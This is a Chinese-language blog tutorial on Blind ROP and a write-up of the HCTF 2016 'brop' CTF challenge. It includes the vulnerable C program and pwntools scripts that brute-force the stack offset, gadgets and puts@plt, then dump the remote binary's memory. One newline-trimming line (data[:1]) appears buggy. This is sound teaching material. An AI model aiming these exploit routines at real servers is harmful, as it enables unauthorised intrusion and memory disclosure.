Linux Pwn - 栈溢出与ROP(二)

Blind ROP

BROP即Blind ROP,论文Blind Return Oriented Programming (BROP)指出了这种攻击方式。可在无法获取二进制文件的情况下,基于远程服务是否崩溃(连接中断)来进行攻击,可适用于开启了ASLR、NX和cannary的x64程序

使用限制条件:

  1. 目标程序存在栈溢出漏洞,且可稳定触发
  2. 目标进程崩溃后会立即重启,并且重启后的进程内存不会重新随机化
  3. 如果开启了PIE,则服务器必须是一个fork服务器,并且在重启时不使用execve

BROP攻击阶段

  1. Stack reading
    • 泄露cannary和返回地址
  2. Blind ROP
    • 远程搜索gadgets
    • stop gadgets:使得程序挂起(无限循环、sleep、read等)不会中断连接的gadgets
  3. Build the exploit
    • 利用得到的gadgets构建ROP,将程序从服务器上dump下来,得到二进制文件后就变成传统ROP了

HCTF 2016:brop

该题目架设在远程服务器上,赛后公开了源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void) {
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check() {
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

编译:gcc -z noexecstack -fno-stack-protector main.c -o brop

利用如下脚本简单的模拟环境:

1
2
3
4
5
6
7
#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 1 ]; then
socat tcp4-listen:8888,reuseaddr,fork exec:./brop &
fi
done

该程序没有开启cannary,所以就直接爆破返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

def get_remote_p():
p = remote("127.0.0.1", 8888)
p.recvuntil("password?\n")
return p

def get_buf_size():
for i in range(1, 1024):
payload = "A" * i
try:
p = get_remote_p()
p.sendline(payload) # sendline会在payload末尾添加\n
p.recv()
p.close()
except EOFError as e:
p.close()
log.info("buf size => %d" % (i))
return i

寻找stop gadgets,为后续寻找通用gadgets做铺垫(覆盖返回地址时,因为覆盖值不合法常常崩溃,需要一个合法的返回地址而不导致程序后续运行崩溃或断开连接)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_stop_addr(start, buf_size):
addr = start - 1
while True:
payload = "A" * buf_size + p64(addr)
try:
p = get_remote_p()
p.sendline(payload)
p.recv()
p.close()
log.info("stop addr => %s" % hex(addr))
return addr
except EOFError as e:
addr += 1
p.close()

之后寻找通用gadgets,位于__libc_csu_init初始化函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
"""
# 通用gadgets
.text:00000000004007BA pop rbx
.text:00000000004007BB pop rbp
.text:00000000004007BC pop r12
.text:00000000004007BE pop r13
.text:00000000004007C0 pop r14
.text:00000000004007C2 pop r15
.text:00000000004007C4 retn
"""

def get_gadgets_addr(stop_addr, buf_size):
addr = stop_addr
while True:
payload = "A" * buf_size + p64(addr) + "A" * 8 * 6 + p64(stop_addr)
try:
p = get_remote_p()
p.sendline(payload)
p.recv(timeout=1)
p.close()
log.info("find addr => %s" % hex(addr))
try:
payload = "A" * buf_size + p64(addr) + "A" * 8 * 6
p = get_remote_p()
p.sendline(payload)
p.recv(timeout=1)
p.close()
addr += 1
except:
p.close()
log.info("find gadgets addr => %s" % hex(addr))
return addr
except EOFError as e:
log.info("bad addr => %s" % hex(addr))
addr += 1
p.close()

然后需要找pop rdi;ret指令,通用gadgets看似没有这个指令,其实还是有的,如下对通用gadgets + 9处进行反汇编,就出现了pop rdi;ret

1
2
3
4
5
6
7
8
9
10
11
12
.text:00000000004007BA                 db  5Bh ; [
.text:00000000004007BB db 5Dh ; ]
.text:00000000004007BC db 41h ; A
.text:00000000004007BD db 5Ch ; \
.text:00000000004007BE db 41h ; A
.text:00000000004007BF db 5Dh ; ]
.text:00000000004007C0 db 41h ; A
.text:00000000004007C1 db 5Eh ; ^
.text:00000000004007C2 db 41h ; A
.text:00000000004007C3 ; ---------------------------------------------------------------------------
.text:00000000004007C3 pop rdi
.text:00000000004007C4 retn

所以就有pop_rdi_ret = general_gadgets + 0x9

接下来获取put@plt,为了后面dump内存做准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_put_func(stop_addr, buf_size, pop_rdi_ret):
addr = stop_addr
while True:
payload = "A" * buf_size + p64(pop_rdi_ret) + \
p64(0x400000) + p64(addr) + p64(stop_addr)
try:
p = get_remote_p()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
p.close()
log.info("put addr => %s" % hex(addr))
return addr
p.close()
log.info("bad addr => %s" % hex(addr))
except EOFError as e:
p.close()
addr += 1

可以看到输出的是stop gadgets,而调用stop gadgets打印ELF文件头部确实输出了elf magicnumber,既然拿到了put,就能dump内存了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def dump_memory(stop_addr, buf_size, put_addr, pop_rdi_ret, start_addr, end_addr):
addr = start_addr
result = ""
while addr < end_addr:
payload = "A" * buf_size + p64(pop_rdi_ret) + p64(addr) + p64(put_addr) + p64(stop_addr)
p = get_remote_p()
p.sendline(payload)
data = p.recv(timeout=1) # 防止遇到"\n\n",让其全部接收完全
if data == "\n":
data = "\x00"
elif data[-1] == "\n": # 去掉put默认添加的末尾"\n"
data = data[:1]
result += data
addr += len(data)
p.close()
log.info("dump memory over...")
return result

拿到了部分二进制文件,也就能找到put@got地址为0x601018,之后通过泄露put@got存储的put真实地址,找到使用的libc版本:libc database search,之后就是常规ROP了

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信